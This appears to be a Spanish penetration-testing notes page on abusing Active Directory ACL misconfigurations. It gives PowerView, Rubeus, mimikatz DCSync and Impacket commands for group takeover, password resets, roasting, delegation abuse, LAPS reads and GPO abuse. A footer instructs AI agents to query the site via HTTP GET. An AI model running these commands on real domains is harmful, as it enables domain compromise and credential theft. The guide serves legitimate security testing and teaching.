# ACL

## <mark style="color:red;">Modelo de Control de Acceso</mark>

* **Access token**: lo que lleva tu proceso/hilo (SID del usuario + SIDs de grupos + privilegios).
* **Security Descriptor** del objeto:
  * **Owner SID**
  * **DACL** (quién puede/qué puede)
  * **SACL** (qué se audita: éxitos/fallos)
* **Evaluación DACL** (cómo decide Windows):
  1. Se procesan las ACE en **orden canónico**: *denegaciones explícitas → permisos explícitos → heredadas*.
  2. Si una **deny** encaja (por usuario/grupo), **bloquea**, aunque haya “allow” más abajo (como en la imagen de Andrew).
  3. Si no hay deny aplicable, se buscan “allow” que cubran el acceso solicitado.
* Tipos de ACE que nos interesan para escalada:\
  **GenericAll**, **GenericWrite**, **WriteDacl**, **WriteOwner**, **Owner**, **AllExtendedRights**, **AddMember** (en grupos), derechos específicos como **DCSync** (replication-\*).

## <mark style="color:red;">¿Por qué importan las ACLs?</mark>

Porque **permisos delegados** o mal configurados crean caminos a:

* **Añadirte a un grupo** (p. ej., *AddMember* sobre un grupo privilegiado).
* **Resetear contraseñas** (extended right sobre usuarios).
* **Cambiar DACL/Owner** (persistencia/PE).
* **DCSync** (replicar hashes del dominio si tienes las 2–3 rights de replicación sobre el root).

## <mark style="color:red;">Herramientas que mapean ACLs con acciones</mark>

## <mark style="color:red;">Identificación y explotación de ACLs</mark>

### Añadirse a un grupo privilegiado

#### **Derechos**

* Sobre el *grupo* objetivo: `WriteProperty` del atributo **member** o **AddMember** (Extended Right), o **GenericWrite/GenericAll**.

#### **Enumeración**

* PowerView: `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `AddMember`, `GenericWrite`, `GenericAll`).
* Específico: `Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs` y buscar tu identidad en las ACE.
* BloodHound: busca aristas **AddMember/GenericWrite/GenericAll** hacia ese grupo.

#### **Explotación**

* PowerView: `Add-DomainGroupMember -Identity "Domain Admins" -Members <tú>`\
  (o añade primero permisos con `Add-DomainObjectAcl` si tienes `WriteDacl`).

***

### **Resetear contraseña** de otro usuario (sin conocer la actual)

#### **Derechos**

* Sobre el *usuario* objetivo: Extended Right **Reset Password** (o **AllExtendedRights/GenericAll**).

#### **Enumeración**

* PowerView: `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `ResetPassword` / `AllExtendedRights`).
* ADModule (visión cruda): `(Get-Acl 'AD:\CN=victim,...').Access` y buscar el derecho (sin resolución de GUID).

#### **Explotación**

* PowerView:\
  `Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)`

***

### **Kerberoast** escribiendo un **SPN** en una cuenta que controlas

#### **Derechos**

* Sobre *esa* cuenta (usuario/computer): `WriteProperty` de **servicePrincipalName** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName <cuenta> -ResolveGUIDs` (busca `servicePrincipalName`).
* BloodHound: edge **GenericWrite** sobre la cuenta.

#### **Explotación**

* PowerView: `Set-DomainObject -Identity <cuenta> -Set @{'servicePrincipalName'='app/http/srv'}`
* Luego: `Rubeus kerberoast` para obtener y crackear el TGS.

***

### **AS-REP Roast** (deshabilitar preauth en una víctima)

#### **Derechos**

* Sobre el *usuario* objetivo: `WriteProperty` de **userAccountControl** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs` (mira `userAccountControl`).

#### **Explotación**

* PowerView: `Set-DomainObject -Identity victim -Xor @{'useraccountcontrol'=4194304}` (bit DONT\_REQ\_PREAUTH)
* `Rubeus asreproast` para capturar AS-REP y crackear.

***

### **Shadow Credentials** (PKINIT sin contraseña)

#### **Derechos**

* Sobre el *usuario/objeto* objetivo: `WriteProperty` de **msDS-KeyCredentialLink** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs` (buscar `msDS-KeyCredentialLink`).

#### **Explotación**

* Herramientas: **Whisker** / funciones para **KeyCredentialLink** → añades tu clave.
* Luego TGT via **PKINIT** (Rubeus `/pkinit`) y suplantas esa identidad.

***

### **RBCD** (Delegación basada en recurso)

#### **Derechos**

* Sobre el *equipo recurso* (TARGET$): `WriteProperty` de **msDS-AllowedToActOnBehalfOfOtherIdentity** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName TARGET$ -ResolveGUIDs` (buscar ese atributo).

#### **Explotación**

* Crea/comanda una cuenta máquina que controles (Powermad `New-MachineAccount` o una ya tuya).
* Escribe el **msDS-AllowedToActOnBehalfOfOtherIdentity** del TARGET$ con el SID de tu máquina.
* **Rubeus s4u**: `Rubeus s4u /user:ATTACKER$ /aes256:<key> /impersonateuser:DA /msdsspn:cifs/TARGET`

### Constrained Delegation (clásica)

#### **Derechos**

* Sobre la *cuenta delegante* (user/computer): `WriteProperty` de **msDS-AllowedToDelegateTo** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName delegatingAcct -ResolveGUIDs`.

#### **Explotación**

* Añade SPNs de destino a **msDS-AllowedToDelegateTo**.
* `Rubeus s4u` para S4U2Self/S4U2Proxy y obtener TGS de servicios remotos.

***

### **DCSync** (replicar hashes del dominio)

**Derechos**

* Sobre la **raíz del dominio** (y a veces Config): Extended Rights\
  **DS-Replication-Get-Changes**, **…-All**, (y en algunos entornos **…-In-Filtered-Set**).

**Enumerar**

* PowerView (sobre root DN):\
  `(Get-Domain).DistinguishedName | % { Get-DomainObjectAcl -SearchBase ("LDAP://"+$_) -ResolveGUIDs } | ? { $_.ObjectAceType -match 'Replicat' }`
* BloodHound: *Find Principals with DCSync Rights*.

**Explotar**

* `mimikatz "lsadump::dcsync /domain:corp.local /user:krbtgt"`
* o `secretsdump.py` (Impacket).

***

### **Tomar propiedad / abrir DACL** de un objeto y luego concederme todo

#### **Derechos**

* **WriteOwner** o ser **Owner** del objeto → asumir propiedad.
* **WriteDacl** → modificar la DACL y darme **GenericAll**.

#### **Enumeración**

* `Find-InterestingDomainAcl -ResolveGUIDs` (filtra por `WriteOwner`/`WriteDacl`).

#### **Explotación**

* `Set-DomainObjectOwner -Identity "CN=Target,..." -Owner <yo>`
* `Add-DomainObjectAcl -TargetIdentity "CN=Target,..." -PrincipalIdentity <yo> -Rights All`

***

### **LAPS** (leer la contraseña local admin de equipos gestionados)

#### **Derechos**

* Sobre *equipos*: permiso de **lectura** de atributo **ms-Mcs-AdmPwd** / `ms-Mcs-AdmPwdExpirationTime`.

#### **Enumeración**

* `Get-DomainObjectAcl -SearchBase "LDAP://OU=Equipos,..." -ResolveGUIDs` (buscar lectura sobre esos atributos).

#### **Explotación**

* ADModule: `Get-ADComputer PC01 -Properties ms-Mcs-AdmPwd | Select -Expand ms-Mcs-AdmPwd`
* Accede por SMB/WinRM con esa contraseña (privilegios locales → escalar lateralmente).

***

### **GPO Link Abuse** (enlazar un GPO malicioso a una OU)

#### **Derechos**

* Sobre la **OU**: `WriteProperty` de **gPLink** (o **GenericWrite/GenericAll**).
* Para editar el GPO: derechos sobre el **objeto GPO** y escritura en **SYSVOL** del GPO.

#### **Enumeración**

* OU: `Get-DomainObjectAcl -Identity "OU=Servers,..." -ResolveGUIDs` (buscar `gpLink`).
* GPO: ACL de `CN={GUID},CN=Policies,...` y permisos NTFS en `\\<dc>\SYSVOL\...`.

#### **Explotación**

* Herramienta: **SharpGPOAbuse** (crear Scheduled Task/Local Admin vía GPP).
* O modificar `gPLink` para enganchar tu GPO ya preparado.

***

### **Cambiar logon script / profile path** de una víctima (ejecución en su contexto)

#### **Derechos**

* Sobre el *usuario*: `WriteProperty` de **scriptPath** / **homeDrive/homeDirectory** / **profilePath**.

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName victim -ResolveGUIDs`.

#### **Explotación**

* `Set-DomainObject -Identity victim -Set @{'scriptPath'='\\server\share\run.cmd'}`
* Script se ejecutará en su próximo logon.

***

### **Agregar SPNs a equipos** (abuso de cuentas máquina)

#### **Derechos**

* Sobre el *equipo*: `WriteProperty` de **servicePrincipalName** (o **GenericWrite/GenericAll**).

#### **Enumeración**

* `Get-DomainObjectAcl -SamAccountName PC01$ -ResolveGUIDs`.

#### **Explotación**

* `Set-DomainObject -Identity PC01$ -Set @{'servicePrincipalName'='cifs/otrohost'}`
* Útil para ciertos flujos de delegación/roasting.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/enumeracion/acl.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
